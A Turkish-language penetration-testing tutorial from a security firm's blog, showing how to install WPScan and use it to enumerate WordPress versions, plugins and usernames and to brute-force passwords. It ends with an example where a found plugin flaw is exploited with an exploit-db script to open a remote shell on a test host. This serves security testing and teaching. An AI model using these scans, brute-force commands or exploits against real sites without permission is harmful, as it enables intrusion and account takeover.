Site icon BGA Cyber Security – Siber Güvenlik Çözümleri

WordPress Kurulu Sistemlere Yönelik Güvenlik Testleri [Wpscan]

Wpscan, ruby programlama dili kullanılarak geliştirilmiş WordPress güvenlik tarama yazılımıdır. Wordpress kullanan sistemlere yönelik kullanıcı adı belirleme, parola bulma ve güvenlik yamalarının kontrolü gibi basit kontroller gerçekleştirir.

WPScan Kurulumu
Backtrack5 Gnome/KDE 32bit:

sudo apt-get install libcurl4-gnutls-dev
sudo gem install –user-install mime-types typhoeus xml-simple

Debian/Ubuntu:

sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby
sudo gem install typhoeus xml-simple

Diğer nix tabanlı Sistemler:

sudo gem install typhoeus xml-simple

Komutları ile gerekli olan gem paketleri kurulmalıdır. Ardından ise komut satırında

svn checkout ./wpscan

Komutu ile bulunan dizinde wpscan klasörü oluşur ve uygulama kurulmuş olur.

 

Temel WPScan Kullanımı

Uygulamaya ait kullanım parametrelerini incelemek için -h parametresi kullanılabilir. Detay kullanım için http://code.google.com/p/wpscan/wiki/README adresi incelenebilir.

root@bt:/wpscan# ruby wpscan.rb –h

–url Hedef system URL’i

–enumerate Enumeration.
u Kullanıcı
v Versiyon
p Plugins
t timthumb
–wordlist Şifre brute-force etmek için kullanılır.
–threads The nmbr of threads to use when multi-threading requests.
–username Sadece username brute force eder.

Hedef sistemde kullanılan WordPress versiyonu tespit etmek için –enumerate v parametresi kullanılır. Çıkan versiyo bilgisine göre cvedetails.com’dan güvenlik açığı var  mı yok mu incelenebilir.

root@bt:/wpscan# ruby wpscan.rb –url bgaseclabstest.net –enumerate v
WordPress Security Scanner by ethicalhack3r.co.uk
Sponsored by the RandomStorm Open Source Initiative
_____________________________________________________
| URL:
[!] The WordPress theme in use is called “elegant-box”.
[!] The WordPress “http://bgaseclabstest.net/readme.html” file exists.
[!] WordPress version 3.3.1 identified from meta generator.

 

Hedef sistemde kullanılmakta olan plugin’ler listelenmektedir. Sistemde tespit edilen plug-in’ler için bilinen bir güvenlik açığı varsa size exploit-db.com üzerinden exploit linkini verecektir.

root@bt:/wpscan# ruby wpscan.rb –url bgaseclabstest.net –enumerate p
| URL:
[!] The WordPress theme in use is called “inove”.
[!] WordPress version 3.3.1 identified from meta generator.
[+] Enumerating installed plugins…
[+] We found 6 plugins:
Name: wp-stats
Location:
Directory listing enabled? No.
Name: wp-sticky
Location:
Directory listing enabled? No.
Name: custom-about-author
Location:
Directory listing enabled? No.
Name: wp-super-cache
Location:
Directory listing enabled? No.
Name: twitter-for-wordpress
Location:
Directory listing enabled? No.
Name: crayon-syntax-highlighter
Location:
Directory listing enabled? No.

Hedef sistemde kullanılan theme adı ekrana yazılarak sistemdeki aktif kullanıcı adlarını tespit edilebilmekte. Bunun için –enumerate p parametrelerinin kullanılması yeterli olacaktır.

root@bt:/wpscan# ruby wpscan.rb –url bgaseclabstest.net –enumerate p
!] The WordPress theme in use is called “elegant-box”.
[!] The WordPress “http://bgaseclabstest.net/readme.html” file exists.
[!] WordPress version 3.3.1 identified from meta generator.
[+] Enumerating usernames…
We found the following 1 username/s:
admin

 

Bir çok scanner tool’unda oldugu gibi wpscan uygulamasıda proxy üzerinden trafiğini geçirerek tarama yapabilmektedir.Bunun için -proxy parametresi kullanılabilr.

root@bt:/wpscan# ruby wpscan.rb –url bgaseclabstest.net –enumerate p –proxy 127.0.0.1:8181
–proxy parametresi yeterli olacaktır.

 

Hedef sistemde tespit edilen username’lere sırasıyla wordlist’e gore brute-force yapılabilmektedir.

root@bt:/pentest/scanners/wpscan# ruby wpscan.rb –url bgaseclabstest.net –wordlist /pentest/passwords/wordlists/darkc0de.lst

WPScan ile Örnek Uygulama

ruby wpscan.rb –url –enumareta p

komutu ile hedef sistem üzerinde bir tarama gerçekleştiriyoruz.

| URL:
| Started on Sat Mar 17 18:21:51 2012

[!] The WordPress theme in use is called “twentyeleven”.
[!] The WordPress “http://6.6.6.199/readme.html” file exists.
[!] WordPress version 3.3.1 identified from meta generator.

[+] Enumerating installed plugins…

Checking for 2312 total plugins… 100% complete.

[+] We found 2 plugins:

Name: zingiri-web-shop
Location:
Directory listing enabled? No.

Name: zingiri-web-shop
Location:
Directory listing enabled? No.

[+] There were 2 vulnerabilities identified from the plugin names:

[!] WordPress Zingiri Web Shop Plugin 2.2.0 Remote File Inclusion
* Reference: https://www.exploit-db.com/exploits/17867/

[!] WordPress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution
* Reference: https://www.exploit-db.com/exploits/18111/

Ardından hedef sistemde komut çalıştırabilme zafiyetini exploit-db.com’dan kontrol edip hedef sistemde deniyoruz.

root@bt:~/Desktop# php wp.php 6.6.6.199 /

ve hedef sistemde ki Code Execution zafiyetini kullanarak exploit’in bize sağladığı zingiri-shell isimli bir oturum açılmakta.

zingiri-shell# ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 1.1.1.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 1.1.1.1

 


Mehmet Dursun INCE
mehmet.ince@bga.com.tr
PS: Bu döküman Backtrack işletim sistemine göre hazırlanmıştır.

 

Exit mobile version